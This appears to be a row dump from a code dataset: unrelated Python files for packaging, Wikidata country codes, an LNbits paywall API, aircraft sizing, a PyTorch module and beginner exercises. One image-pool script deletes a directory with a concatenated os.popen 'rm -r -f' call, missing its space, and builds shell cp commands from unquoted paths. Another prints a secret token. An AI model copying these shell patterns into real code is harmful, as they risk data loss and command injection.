content
stringlengths 5
1.05M
|
|---|
#!/usr/bin/env python
from distutils.core import setup
from pinder import __version__
setup(
name='pinder',
version=__version__,
description='Python API for Campfire.',
license='BSD',
author='Lawrence Oluyede',
author_email='[email protected]',
url='http://dev.oluyede.org/pinder/',
download_url='http://dev.oluyede.org/download/pinder/0.6.5/',
packages=['pinder'],
classifiers=[
'Development Status :: 4 - Beta',
'Environment :: Console',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Natural Language :: English',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Programming Language :: Python',
'Topic :: Communications :: Chat',
'Topic :: Internet :: WWW/HTTP',
'Topic :: Software Development :: Libraries',
'Topic :: Software Development :: Libraries :: Python Modules',
]
)
|
# Copyright 2020 Google LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# pylint: disable=no-value-for-parameter
import requests
import pandas as pd
import streamlit as st
import os
import sys
PIPELINE_DIR = os.path.join(os.path.dirname(__file__), '../../', 'src/pipeline')
sys.path.append(PIPELINE_DIR)
import path_utils
################################################################################
##### Query wikidata for all ISO-3166-1 countries ######
################################################################################
# Wikidata query for ISO-3166-1 codes
# Use at https://query.wikidata.org/
# Workaround for a bug in generating urls for wikidata queries:
# Use the UI at https://query.wikidata.org/ to get the query url by entering these queries
# and then click the "Link" button -> SPARQL endpoint -> copy link address.
# This gives you the url for the query.
# SELECT DISTINCT ?country ?countryLabel ?capital ?capitalLabel
# WHERE
# {
# ?country wdt:P31 wd:Q3624078 .
# #not a former country
# FILTER NOT EXISTS {?country wdt:P31 wd:Q3024240}
# #and no an ancient civilisation (needed to exclude ancient Egypt)
# FILTER NOT EXISTS {?country wdt:P31 wd:Q28171280}
# OPTIONAL { ?country wdt:P36 ?capital } .
#
# SERVICE wikibase:label { bd:serviceParam wikibase:language "en" }
# }
# ORDER BY ?countryLabel
iso_3166_1_url = 'https://query.wikidata.org/sparql?query=%23added%20before%202016-10%0ASELECT%20DISTINCT%20%3Fcountry%20%3FcountryLabel%20%3FthreeLetterCode%20%3FnumericCode%20%3FtwoLetterCode%0AWHERE%0A%7B%0A%20%20%3Fcountry%20wdt%3AP298%20%3FthreeLetterCode.%0A%20%20%3Fcountry%20wdt%3AP299%20%3FnumericCode.%0A%20%20%3Fcountry%20wdt%3AP297%20%3FtwoLetterCode.%0A%20%20%23not%20a%20former%20country%0A%20%20FILTER%20NOT%20EXISTS%20%7B%3Fcountry%20wdt%3AP31%20wd%3AQ3024240%7D%0A%20%20%23and%20no%20an%20ancient%20civilisation%20(needed%20to%20exclude%20ancient%20Egypt)%0A%20%20FILTER%20NOT%20EXISTS%20%7B%3Fcountry%20wdt%3AP31%20wd%3AQ28171280%7D%0A%0A%20%20SERVICE%20wikibase%3Alabel%20%7B%20bd%3AserviceParam%20wikibase%3Alanguage%20%22en%22%20%7D%0A%7D%0AORDER%20BY%20%3FcountryLabel' # pylint: disable=line-too-long
countries = requests.get(iso_3166_1_url, params={'format': 'json'}).json()['results']['bindings']
country_df = pd.json_normalize(countries)
country_df = country_df.rename(columns={
'country.value': 'wikidata_id',
'twoLetterCode.value': 'country_iso_3166-1_alpha-2',
'numericCode.value': 'country_iso_3166-1_numeric',
'threeLetterCode.value': 'region_code',
'countryLabel.value': 'region_name'
})
country_df = country_df[['wikidata_id', 'country_iso_3166-1_alpha-2', 'country_iso_3166-1_numeric',
'region_code', 'region_name']]
country_df['wikidata_id'] = country_df['wikidata_id'].apply(lambda s: s.split('/')[-1])
country_df['region_code_type'] = 'iso_3166-1'
country_df['country_iso_3166-1_alpha-3'] = country_df['region_code']
country_df['region_code_level'] = 1
country_df['parent_region_code'] = 'WORLD'
country_df['subdivision_type'] = 'countries'
country_df['region_type'] = 'country'
country_df['leaf_region_code'] = country_df['region_code']
country_df['level_1_region_code'] = country_df['region_code']
country_df['level_2_region_code'] = None
country_df['level_3_region_code'] = None
st.subheader('Countries including duplicate ISO-3166-1 / ISO-3166-2 regions')
st.write(country_df)
################################################################################
##### Remove duplicates for regions that could appear as either Level 1 ######
##### or as Level 2 regions, based on whether data sources are separate ######
################################################################################
# Treat Netherlands + Aruba + Curaçao + Sint Maarten (Dutch part) as a single level 1 entity
country_df = country_df[country_df['wikidata_id'] != 'Q55']
# Keep Western Sahara wikidata entry (Q6250) instead of Q40362
country_df = country_df[country_df['wikidata_id'] != 'Q40362']
# These regions appear as both ISO-1 and ISO-2, but we will count them as ISO-2
# so we remove them from the ISO-1 list
# Leave as ISO1 because they have separate data sources: Taiwain, Hong Kong, Macao
regions_to_remove_from_iso1 = {
'ALA': 'Åland Islands', # Finland: FI-01
'BLM': 'Saint Barthélemy', # France: FR-BL Saint Barthélemy (BL)
'GUF': 'French Guiana', # France: FR-GF French Guiana (GF)
'GLP': 'Guadeloupe', # France: FR-GP Guadeloupe (GP)
'MAF': 'Saint Martin (French part)', # France: FR-MF Saint Martin (MF)
'MTQ': 'Martinique', # France: FR-MQ Martinique (MQ)
'NCL': 'New Caledonia', # France: FR-NC New Caledonia (NC)
'PYF': 'French Polynesia', # France: FR-PF French Polynesia (PF)
'SPM': 'Saint Pierre and Miquelon', # France: FR-PM Saint Pierre and Miquelon (PM)
'REU': 'Réunion', # France: FR-RE Réunion (RE)
'ATF': 'French Southern and Antarctic Lands', # France: FR-TF French Southern Territories (TF)
'WLF': 'Wallis and Futuna', # France: FR-WF Wallis and Futuna (WF)
'MYT': 'Mayotte', # France: FR-YT Mayotte (YT)
'SJM': 'Svalbard and Jan Mayen', # Norway: NO-21 Svalbard, NO-22 Jan Mayen
'BES': 'Caribbean Netherlands', # Netherlands: NL-BQ1 Bonaire (BQ), NL-BQ2 Saba (BQ), NL-BQ3 Sint Eustatius (BQ)
'ABW': 'Aruba', # Netherlands: NL-AW Aruba (AW)
'CUW': 'Curaçao', # Netherlands: NL-CW Curaçao (CW)
'SXM': 'Sint Maarten (Dutch part)', # Netherlands: NL-SX Sint Maarten (SX)
'ASM': 'American Samoa', # United States: US-AS
'GUM': 'Guam', # United States: US-GU
'MNP': 'Northern Mariana Islands', # United States: US-MP
'PRI': 'Puerto Rico', # United States: US-PR
'UMI': 'United States Minor Outlying Islands', # United States: US-UM
'VIR': 'United States Virgin Islands', # United States: US-VI
}
st.write(len(regions_to_remove_from_iso1))
country_df = country_df[~country_df['region_code'].isin(regions_to_remove_from_iso1.keys())]
st.subheader('Countries without duplicate ISO-3166-1 / ISO-3166-2 regions')
################################################################################
##### Generate datacommons ids using the known format for the dcids ######
################################################################################
country_df['datacommons_id'] = country_df.apply(lambda x: 'country/' + x['region_code'], axis=1)
st.write(country_df)
st.write(country_df.shape)
country_df.to_csv(
os.path.join(path_utils.path_to('locations_intermediate_dir'), 'iso_3166_1_locations.csv'), index=False)
|
##############################################
# The MIT License (MIT)
# Copyright (c) 2018 Kevin Walchko
# see LICENSE for full details
##############################################
# These are IntFlags, so you can compare them to ints. They
# start with 1 and go to N.
# ZmqType.pub == 1
# ZmqType.sub == 2
#
from enum import IntFlag
Status = IntFlag('Status', 'ok error topic_not_found core_not_found multiple_pub_error invalid_zmq_type')
ZmqType = IntFlag('ZmqType', 'pub sub req rep')
|
from openpyxl import Workbook, load_workbook
import os
import glob
import json
#directories
FIGRAM_PATH = '/media/mjia/Data/CNN-fMRI/FIGRIM/SCENES_700x700'
CROPPED_SUN_PATH = '/media/mjia/Data/CNN-fMRI/cropped'
TARGET_PATH = '/media/mjia/Data/CNN-fMRI/Pool'
if os.path.isdir(TARGET_PATH):
os.popen("rm -r -f" + TARGET_PATH)
os.popen("mkdir " + TARGET_PATH)
else:
os.popen("mkdir " + TARGET_PATH)
XLSX_FILE = 'RankSUNDatabase.xlsx'
#: experimental setup constants
NUMBER_OF_PARTICIPANTS = 50
NUMBER_OF_UNIQUE_RUNS = 8
NUMBER_OF_SHARED_RUNS = 1
UNIQUE_IMAGES_PER_UNIQUE_RUN = 56
SHARED_IMAGES_PER_UNIQUE_RUN = 8
SHARED_IMAGES_PER_SHARED_RUN = 64
NUMBER_REQUIRED_OF_PARTICIPANTS = NUMBER_OF_UNIQUE_RUNS * UNIQUE_IMAGES_PER_UNIQUE_RUN
#the records
global_count = 0
subject_level_count = 0
residual_count = 0
selected_classes = []
#select from Figram
for dir, subdirs, files in os.walk(FIGRAM_PATH):
for class_label in subdirs:
all_files = glob.glob('{}*.jpg'.format(FIGRAM_PATH+os.sep+class_label+os.sep), recursive=True)
# if the class contains less than 51 image, do not select it
if len(all_files) <= NUMBER_OF_PARTICIPANTS:
continue
global_count += len(all_files)
subject_level_count += len(all_files)//NUMBER_OF_PARTICIPANTS
residual_count += len(all_files)%NUMBER_OF_PARTICIPANTS
selected_classes.append(class_label)
class_label = class_label.replace(' ', '\ ')
os.popen("cp -r {0} {1}".format(FIGRAM_PATH+os.sep+class_label, TARGET_PATH))
print("add *" + class_label + "* to pool, current has " + str(global_count))
#select the class in RankSUNDatabase.xlsx
wb=load_workbook(XLSX_FILE)
first_sheet = wb.get_sheet_names()[0]
worksheet = wb.get_sheet_by_name(first_sheet)
for i in range(2, 89):
class_label = worksheet["A"+str(i)].value.lower()
#check if it's already selected
if class_label not in selected_classes:
all_files = glob.glob('{}*.jpg'.format(CROPPED_SUN_PATH + os.sep + class_label + os.sep), recursive=True)
# if the class contains less than 51 image, do not select it
if len(all_files) <= NUMBER_OF_PARTICIPANTS:
continue
global_count += len(all_files)
subject_level_count += len(all_files)//NUMBER_OF_PARTICIPANTS
residual_count += len(all_files)%NUMBER_OF_PARTICIPANTS
selected_classes.append(class_label)
class_label = class_label.replace(' ', '\ ')
os.popen("cp -r {0} {1}".format(CROPPED_SUN_PATH + os.sep + class_label, TARGET_PATH))
print("add *" + class_label + "* to pool, current has " + str(global_count))
#select the class in SUN
sorts = []
for dir, subdirs, files in os.walk(CROPPED_SUN_PATH):
for class_label in subdirs:
if class_label not in selected_classes:
all_files = glob.glob('{}*.jpg'.format(CROPPED_SUN_PATH + os.sep + class_label + os.sep), recursive=True)
if len(all_files) <= NUMBER_OF_PARTICIPANTS:
continue
sorts.append([class_label, len(all_files)])
sorts.sort(key=lambda a: a[1], reverse=True)
for iterm in sorts:
class_label = iterm[0]
length = iterm[1]
global_count += length
subject_level_count += length // NUMBER_OF_PARTICIPANTS
residual_count += length % NUMBER_OF_PARTICIPANTS
selected_classes.append(class_label)
class_label = class_label.replace(' ', '\ ')
os.popen("cp -r {0} {1}".format(CROPPED_SUN_PATH + os.sep + class_label, TARGET_PATH ))
print("add *" + class_label + "* to pool, current has " + str(global_count))
if subject_level_count >= NUMBER_REQUIRED_OF_PARTICIPANTS:
break
with open('info.json', 'w') as outfile:
json.dump(selected_classes, outfile)
print('done') |
# ---------------------------------------
# Program by Orlov.A.
#
#
# Version Date Info
# 1.0 2016 Initial Version
#
# ----------------------------------------
# x = 25
#
# if x == 25:
# print("YES, yo're right")
# else:
# print("NO!!!!!!!!!!!!!!!!!!!!!!!!")
age = 13
if (age <= 4):
print("you are baby!")
elif (age > 4) and (age <= 12):
print("you're kid!")
else:
print("you will die soon :3")
print("-------------END-----------")
cars = ['bmw', 'vw', 'seat', 'skoda', 'lada']
german_cars = ['bmw', 'vw', 'audi']
# if 'lada' in cars:
# print('omg... lada')
# else:
# print('mb will you buy some car?')
for xxx in cars:
if xxx in german_cars:
print(xxx + " is german car")
else:
print(xxx + " is not german car") |
elements = bytes([255])
print (elements[0])
|
# coding: UTF-8
import setting
TOKEN = setting.TOKEN
print(TOKEN)
## 以降ソースコード
|
# Ideal Gas Force Field
import numpy as np
class IdealGas:
def __init__(self):
pass
def __call__(self, x, *args, **kwargs):
return np.zeros_like(x) |
from http import HTTPStatus
from fastapi import Depends, Query
from starlette.exceptions import HTTPException
from lnbits.core.crud import get_user, get_wallet
from lnbits.core.services import check_invoice_status, create_invoice
from lnbits.decorators import WalletTypeInfo, get_key_type
from . import paywall_ext
from .crud import create_paywall, delete_paywall, get_paywall, get_paywalls
from .models import CheckPaywallInvoice, CreatePaywall, CreatePaywallInvoice
@paywall_ext.get("/api/v1/paywalls")
async def api_paywalls(
wallet: WalletTypeInfo = Depends(get_key_type), all_wallets: bool = Query(False)
):
wallet_ids = [wallet.wallet.id]
if all_wallets:
wallet_ids = (await get_user(wallet.wallet.user)).wallet_ids
return [paywall.dict() for paywall in await get_paywalls(wallet_ids)]
@paywall_ext.post("/api/v1/paywalls")
async def api_paywall_create(
data: CreatePaywall, wallet: WalletTypeInfo = Depends(get_key_type)
):
paywall = await create_paywall(wallet_id=wallet.wallet.id, data=data)
return paywall.dict()
@paywall_ext.delete("/api/v1/paywalls/{paywall_id}")
async def api_paywall_delete(
paywall_id, wallet: WalletTypeInfo = Depends(get_key_type)
):
paywall = await get_paywall(paywall_id)
if not paywall:
raise HTTPException(
status_code=HTTPStatus.NOT_FOUND, detail="Paywall does not exist."
)
if paywall.wallet != wallet.wallet.id:
raise HTTPException(
status_code=HTTPStatus.FORBIDDEN, detail="Not your paywall."
)
await delete_paywall(paywall_id)
raise HTTPException(status_code=HTTPStatus.NO_CONTENT)
@paywall_ext.post("/api/v1/paywalls/invoice/{paywall_id}")
async def api_paywall_create_invoice(
data: CreatePaywallInvoice,
paywall_id: str = Query(None)
):
paywall = await get_paywall(paywall_id)
if data.amount < paywall.amount:
raise HTTPException(
status_code=HTTPStatus.BAD_REQUEST,
detail=f"Minimum amount is {paywall.amount} sat.",
)
try:
amount = data.amount if data.amount > paywall.amount else paywall.amount
payment_hash, payment_request = await create_invoice(
wallet_id=paywall.wallet,
amount=amount,
memo=f"{paywall.memo}",
extra={"tag": "paywall"},
)
except Exception as e:
raise HTTPException(status_code=HTTPStatus.INTERNAL_SERVER_ERROR, detail=str(e))
return {"payment_hash": payment_hash, "payment_request": payment_request}
@paywall_ext.post("/api/v1/paywalls/check_invoice/{paywall_id}")
async def api_paywal_check_invoice(data: CheckPaywallInvoice, paywall_id: str = Query(None)):
paywall = await get_paywall(paywall_id)
payment_hash = data.payment_hash
if not paywall:
raise HTTPException(
status_code=HTTPStatus.NOT_FOUND, detail="Paywall does not exist."
)
try:
status = await check_invoice_status(paywall.wallet, payment_hash)
is_paid = not status.pending
except Exception:
return {"paid": False}
if is_paid:
wallet = await get_wallet(paywall.wallet)
payment = await wallet.get_payment(payment_hash)
await payment.set_pending(False)
return {"paid": True, "url": paywall.url, "remembers": paywall.remembers}
return {"paid": False}
|
from __future__ import division
from warnings import warn
from numpy import sqrt, exp, power, linspace, interp, log, pi
from environment import Atmosphere, G_0
MAX_T_TO_W = 5
class Mission(object):
"""
A mission as defined by a list of segments.
"""
def __init__(self, segments=None, atmosphere=None, *args, **kwargs):
self.atmosphere = Atmosphere() if atmosphere is None else atmosphere
if segments is not None:
self.segments = segments
else:
raise NotImplementedError("A mission generator has not been implemented yet, must provide list of segments.")
class Segment(object):
"""
Aircraft mission
:param kind: the type of segment, e.g., takeoff, cruise, dash, loiter, land
:param speed: the speed at which the segment is to be flown (knots)
:param altitude: the altitude at which the segment will take place (ft)
:param atmosphere: the atmosphere instance that contains the sea level conditions, if None s provided, a standard one is created
:type kind: str
:type speed: float
:type altitude: float
:type atmosphere: ::class::`Atmosphere`
If mission is of type `cruise`:
:param range: the range to fly during the segment (nmi)
:type range: float
If mission is of type `loiter`:
:param loiter_time: time to loiter (hrs)
:type loiter_time: float
"""
_DEFAULTS = dict(warmup=dict(time=60.0),
takeoff=dict(field_length= 1500,
mu=0.05,
time=3,
obstacle_height=100),
land=dict(field_length=2500,
mu=0.18,
time=3,
obstacle_height=100),
loiter=dict(time=None),
)
_WEIGHT_FRACTIONS = dict(warmup=0.99,
taxi=0.99,
takeoff=0.98,
climb=0.95,
descend=0.98,
land=0.99,
)
def __init__(self, kind, speed, altitude, payload_released=0,
atmosphere=None,
release=None, *args, **kwargs):
self.kind = kind
if 'weight_fraction' not in kwargs and kind in self._WEIGHT_FRACTIONS:
self._weight_fraction = self._WEIGHT_FRACTIONS[kind]
else:
self._weight_fraction = kwargs.pop('weight_fraction', None)
self.altitude = altitude
self.payload_released = payload_released
self.atmosphere = Atmosphere() if atmosphere is None else atmosphere
self.density = self.atmosphere.density(altitude)
self.release = release
if speed is not None:
self.speed = speed * 1.68780986 # kts to ft/s
self.mach = self.speed / self.atmosphere.speed_of_sound(altitude)
self.n = 1
if 'turn_rate' in kwargs:
turn_rate = kwargs.pop('turn_rate')
self.n = sqrt(1 + (turn_rate * self.speed / G_0) ** 2)
if 'turn_radius' in kwargs:
turn_radius = kwargs.pop('turn_radius')
n = sqrt(1 + (self.speed / turn_radius / G_0) ** 2)
if hasattr(self, 'n'):
self.n = max(n, self.n)
self.climb_rate = kwargs.pop('climb_rate', 0)
self.acceleration = kwargs.pop('acceleration', 0)
self.dynamic_pressure = 0.5 * self.density * self.speed * self.speed
for key, defaults in self._DEFAULTS.items():
if key in self.kind:
for var, default in defaults.items():
setattr(self, var, kwargs.pop(var, default))
if 'cruise' in self.kind or 'dash' in self.kind:
self.range = kwargs.pop('range')
self.time = self.range / speed
if len(kwargs) > 0:
warn("Unused kwargs: {}".format(kwargs.keys()))
@property
def weight_fraction(self):
if self._weight_fraction is not None:
return self._weight_fraction
else:
tsfc = self.aircraft.engine.tsfc(
self.mach, self.altitude, self.afterburner)
t_to_w = self.aircraft.t_to_w * \
self.aircraft.thrust_lapse(
self.altitude, self.mach) / self.prior_weight_fraction
return 1 - exp(-tsfc * t_to_w * self.time)
self.aircraft.mach = self.mach
c1, c2 = self.aircraft.engine._tsfc_coefficients
u = (self.aircraft.cd + self.aircraft.cd_r) / self.cl
return exp(-(c1 / self.mach + c2) / self.atmosphere.speed_of_sound(altitude) * ())
def thrust_to_weight_required(self, aircraft, wing_loading, prior_weight_fraction=1):
if self.speed == 0:
return [0.0] * len(wing_loading) if hasattr(wing_loading, '__iter__') else 0.0
self.aircraft = aircraft
self.prior_weight_fraction = prior_weight_fraction
self.afterburner = self.aircraft.engine.afterburner and 'dash' in self.kind
aircraft.mach = self.mach
cd_0 = aircraft.cd_0
k_1 = aircraft.k_1
k_2 = aircraft.k_2
if self.release is not None:
self.aircraft.stores = [store for store in self.aircraft.stores if store not in self.release]
alpha = aircraft.thrust_lapse(self.altitude, self.mach)
beta = self.prior_weight_fraction
cd_r = aircraft.cd_r
t_to_w = None
if 'takeoff' in self.kind:
aircraft.takeoff
k_to = aircraft.k_to
cl_max = self.aircraft.cl_max
self.aircraft.cl = cl = cl_max / (k_to * k_to)
xi = self.aircraft.cd + cd_r - self.mu * self.aircraft.cl
t_to_w = linspace(0.01, MAX_T_TO_W, 200)
a = k_to * k_to * beta * beta / (self.density * G_0 * cl_max * alpha * t_to_w)
a = - (beta / (self.density * G_0 * xi)) * log(1 - xi / ((alpha * t_to_w / beta - self.mu) * cl))
b = self.time * k_to * sqrt(2 * beta / (self.density * cl_max))
c = self.field_length
w_to_s = power((-b + sqrt(b * b + 4 * a * c)) / (2 * a), 2)
self.aircraft._takeoff = {'w_to_s': w_to_s, 't_to_w': t_to_w, 'a': a, 'b': b, 'c': c}
return interp(wing_loading, w_to_s, t_to_w)
if 'land' in self.kind:
aircraft.landing
k_td = self.aircraft.k_td
cl_max = self.aircraft.cl_max
self.aircraft.cl = cl = cl_max / (k_td * k_td)
if aircraft.reverse_thrust:
alpha = -alpha
else:
alpha = 0.0
# assume drag chute
cd_chute = 0.0
if self.aircraft.drag_chute is not None:
drag_chute_diam = self.aircraft.drag_chute['diameter']
drag_chute_cd = self.aircraft.drag_chute['cd']
try:
wing_area = self.aircraft.wing.area
except AttributeError:
wing_area = 500
warn("Could not get an area for the wing (self.aircraft.wing.area), assuming 500 sqft")
cd_chute = drag_chute_cd * 0.25 * drag_chute_diam * drag_chute_diam * pi / wing_area
xi = self.aircraft.cd + cd_r - self.mu * self.aircraft.cl + cd_chute
t_to_w = linspace(0.01, MAX_T_TO_W, 200)
a = (beta / (self.density * G_0 * xi)) * log(1 + xi / ((self.mu + (alpha / beta) * t_to_w) * cl))
b = self.time * k_td * sqrt(2 * beta / (self.density * cl_max))
c = self.field_length
w_to_s = power((-b + sqrt(b * b + 4 * a * c)) / (2 * a), 2)
self.aircraft._land = {'w_to_s': w_to_s, 't_to_w': t_to_w, 'a': a, 'b': b, 'c': c}
return interp(wing_loading, w_to_s, t_to_w)
aircraft.configuration = None
q = self.dynamic_pressure
c_l = self.n * beta * wing_loading / q
excess_power = self.climb_rate / self.speed + self.acceleration / G_0
# Master Equation from Mattingly, 2002
return (beta / alpha) * (q / (beta * wing_loading) * (k_1 * c_l * c_l + k_2 * c_l + cd_0 + cd_r) + excess_power)
|
import torch
import torch.nn as nn
from ..utils import ConvModule
from qd3dt.core import bbox_overlaps
class Relations(nn.Module):
def __init__(self,
in_channels=1024,
inter_channels=1024,
groups=16,
num_embed_convs=1,
share_embed_convs=True,
with_loc=True):
super(Relations, self).__init__()
self.in_channels = in_channels
self.groups = groups
self.inter_channels = inter_channels
assert not in_channels % groups
self.num_embed_convs = num_embed_convs
self.share_embed_convs = share_embed_convs
self.with_loc = with_loc
self.init_embed_convs()
self.conv_out = ConvModule(
self.inter_channels * self.groups,
self.in_channels,
kernel_size=1,
activation=None,
groups=self.groups)
def init_embed_convs(self):
self.embed_convs = nn.ModuleList()
if not self.share_embed_convs:
self.ref_embed_convs = nn.ModuleList()
for i in range(self.num_embed_convs):
in_channels = self.in_channels if i == 0 else self.inter_channels
self.embed_convs.append(
ConvModule(
in_channels,
self.inter_channels,
kernel_size=1,
activation='relu',
activate_last=False,
inplace=False))
self.embed_convs.append(
ConvModule(
in_channels,
self.inter_channels,
kernel_size=1,
activation='relu',
activate_last=False))
if not self.share_embed_convs:
self.ref_embed_convs.append(
ConvModule(
in_channels,
self.inter_channels,
kernel_size=1,
activation='relu',
activate_last=False,
inplace=False))
self.ref_embed_convs.append(
ConvModule(
in_channels,
self.inter_channels,
kernel_size=1,
activation='relu',
activate_last=False))
def forward(self, in_x, rois, in_ref_x=None, ref_rois=None):
# x: [N_0, C] ref_x: [N_1, C]
# rois: [N_0, 4] ref_rois: [N_1, 4]
if in_ref_x is None:
in_ref_x = in_x
ref_rois = rois
N_0, C = in_x.shape
N_1, C_1 = in_ref_x.shape
assert C == C_1
x = in_x.view(N_0, C, 1, 1)
ref_x = in_ref_x.view(N_0, C, 1, 1)
for i, embed_conv in enumerate(self.embed_convs):
x = embed_conv(x)
if not self.share_embed_convs:
ref_x = self.ref_embed_convs[i](ref_x)
else:
ref_x = embed_conv(ref_x)
# [N, G, C // G]
x = x.view(N_0, self.groups, -1)
ref_x = ref_x.view(N_1, self.groups, -1)
# [G, N_0, C // G]
x = x.permute(1, 0, 2)
# [G, C // G, N_1]
ref_x = ref_x.permute(1, 2, 0)
# [G, N_0, N_1]
matrix = torch.matmul(x, ref_x)
matrix /= x.shape[-1]**0.5
# [N_0, G, N_1]
matrix = matrix.permute(1, 0, 2)
if self.with_loc:
# [N_0, N_1]
ious = bbox_overlaps(rois[:, 1:], ref_rois[:, 1:])
ious = ious.view(N_0, 1, N_1).expand(N_0, self.groups, N_1)
matrix += torch.log(ious + 1e-6)
# [N_0, G, N_1]
matrix = matrix.softmax(dim=2)
# [N_0 * G, N_1]
matrix = matrix.view(-1, N_1)
# [N_0 * G, C] = [N_0 * G, N_1] * [N_1, C]
y = torch.matmul(matrix, in_ref_x)
# [N_0, C * G]
y = y.view(N_0, -1, 1, 1)
# [N_0, C]
y = self.conv_out(y).view(N_0, -1)
return y
|
T = int(raw_input())
for i in range (0,T):
money, item_price, exchange_wrapper = [int(x) for x in raw_input().split(' ')]
bought = money / item_price
answer = bought
wrappers = bought
while wrappers >= exchange_wrapper:
extra_items = wrappers / exchange_wrapper
answer += extra_items
wrappers = (wrappers % exchange_wrapper) + extra_items
print answer
|
"""
abc-classroom.utils
===================
"""
import os
import subprocess
import sys
import tempfile
import textwrap
from contextlib import contextmanager
from functools import lru_cache
from shutil import copystat, copy2
from IPython import get_ipython
class Error(OSError):
pass
# a copy of shutil.copytree() that is ok with the target directory
# already existing
def copytree(
src,
dst,
symlinks=False,
ignore=None,
copy_function=copy2,
ignore_dangling_symlinks=False,
):
"""Recursively copy a directory tree.
The destination directory must not already exist.
If exception(s) occur, an Error is raised with a list of reasons.
If the optional symlinks flag is true, symbolic links in the
source tree result in symbolic links in the destination tree; if
it is false, the contents of the files pointed to by symbolic
links are copied. If the file pointed by the symlink doesn't
exist, an exception will be added in the list of errors raised in
an Error exception at the end of the copy process.
You can set the optional ignore_dangling_symlinks flag to true if you
want to silence this exception. Notice that this has no effect on
platforms that don't support os.symlink.
The optional ignore argument is a callable. If given, it
is called with the `src` parameter, which is the directory
being visited by copytree(), and `names` which is the list of
`src` contents, as returned by os.listdir():
``callable(src, names) -> ignored_names``
Since copytree() is called recursively, the callable will be
called once for each directory that is copied. It returns a
list of names relative to the `src` directory that should
not be copied.
The optional copy_function argument is a callable that will be used
to copy each file. It will be called with the source path and the
destination path as arguments. By default, copy2() is used, but any
function that supports the same signature (like copy()) can be used.
"""
names = os.listdir(src)
if ignore is not None:
ignored_names = ignore(src, names)
else:
ignored_names = set()
os.makedirs(dst, exist_ok=True)
errors = []
for name in names:
if name in ignored_names:
continue
srcname = os.path.join(src, name)
dstname = os.path.join(dst, name)
try:
if os.path.islink(srcname):
linkto = os.readlink(srcname)
if symlinks:
# We can't just leave it to `copy_function` because legacy
# code with a custom `copy_function` may rely on copytree
# doing the right thing.
os.symlink(linkto, dstname)
copystat(srcname, dstname, follow_symlinks=not symlinks)
else:
# ignore dangling symlink if the flag is on
if not os.path.exists(linkto) and ignore_dangling_symlinks:
continue
# otherwise let the copy occurs. copy2 will raise an error
if os.path.isdir(srcname):
copytree(
srcname, dstname, symlinks, ignore, copy_function
)
else:
copy_function(srcname, dstname)
elif os.path.isdir(srcname):
copytree(srcname, dstname, symlinks, ignore, copy_function)
else:
# Will raise a SpecialFileError for unsupported file types
copy_function(srcname, dstname)
# catch the Error from the recursive copytree so that we can
# continue with other files
except Error as err:
errors.extend(err.args[0])
except OSError as why:
errors.append((srcname, dstname, str(why)))
try:
copystat(src, dst)
except OSError as why:
# Copying file access times may fail on Windows
if getattr(why, "winerror", None) is None:
errors.append((src, dst, str(why)))
if errors:
raise Error(errors)
return dst
def input_editor(default_message=None):
"""Ask for user input via a text editor"""
default_message = textwrap.dedent(default_message)
with tempfile.NamedTemporaryFile(mode="r+") as tmpfile:
if default_message is not None:
tmpfile.write(default_message)
tmpfile.flush()
subprocess.check_call([get_editor(), tmpfile.name])
tmpfile.seek(0)
with open(tmpfile.name) as f:
msg = f.read()
return msg.strip()
def get_editor():
return os.environ.get("VISUAL") or os.environ.get("EDITOR") or "vi"
def _call_git(*args, directory=None):
cmd = ["git"]
cmd.extend(args)
try:
ret = subprocess.run(
cmd,
cwd=directory,
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except subprocess.CalledProcessError as e:
err = e.stderr.decode("utf-8")
if err:
msg = err.split(":")[1].strip()
else:
msg = e.stdout.decode("utf-8")
raise RuntimeError(msg) from e
return ret
@lru_cache(1)
def TOP():
"""Path to the top level of the repository we are in"""
try:
ret = _call_git("rev-parse", "--show-toplevel")
except RuntimeError as e:
print(" ".join(e.args))
sys.exit(1)
return ret.stdout.decode("utf-8").strip()
def P(*paths):
"""Construct absolute path inside the repository from `paths`"""
path = os.path.join(*paths)
return os.path.join(TOP(), path)
def flush_inline_matplotlib_plots():
"""
Flush matplotlib plots immediately, rather than asynchronously.
Basically, the inline backend only shows the plot after the entire
cell executes, which means we can't easily use a contextmanager to
suppress displaying it. See https://github.com/jupyter-widgets/ipywidgets/issues/1181/
and https://github.com/ipython/ipython/issues/10376 for more details. This
function displays flushes any pending matplotlib plots if we are using
the inline backend.
Stolen from https://github.com/jupyter-widgets/ipywidgets/blob/4cc15e66d5e9e69dac8fc20d1eb1d7db825d7aa2/ipywidgets/widgets/interaction.py#L35
"""
if "matplotlib" not in sys.modules:
# matplotlib hasn't been imported, nothing to do.
return
try:
import matplotlib as mpl
from ipykernel.pylab.backend_inline import flush_figures
except ImportError:
return
if mpl.get_backend() == "module://ipykernel.pylab.backend_inline":
flush_figures()
@contextmanager
def hide_outputs():
"""
Context manager for hiding outputs from display() calls.
IPython handles matplotlib outputs specially, so those are supressed too.
"""
ipy = get_ipython()
if ipy is None:
# Not running inside ipython!
yield
return
old_formatters = ipy.display_formatter.formatters
ipy.display_formatter.formatters = {}
try:
yield
finally:
ipy.display_formatter.formatters = old_formatters
@contextmanager
def chdir(path):
"""Change working directory to `path` and restore old path on exit.
`path` can be `None` in which case this is a no-op.
"""
if path is None:
yield
else:
old_dir = os.getcwd()
os.chdir(path)
try:
yield
finally:
os.chdir(old_dir)
|
"""
Solution to an exercise from
Think Python: An Introduction to Software Design
Allen B. Downey
This program requires Gui.py, which is part of
Swampy; you can download it from thinkpython.com/swampy.
This program started with a recipe by Noah Spurrier at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/521918
"""
import os, sys
from Gui import *
import Image as PIL # to avoid name conflict with Tkinter
import ImageTk
class ImageBrowser(Gui):
"""An image browser that scans the files in a given directory and
displays any images that can be read by PIL.
"""
def __init__(self):
Gui.__init__(self)
# clicking on the image breaks out of mainloop
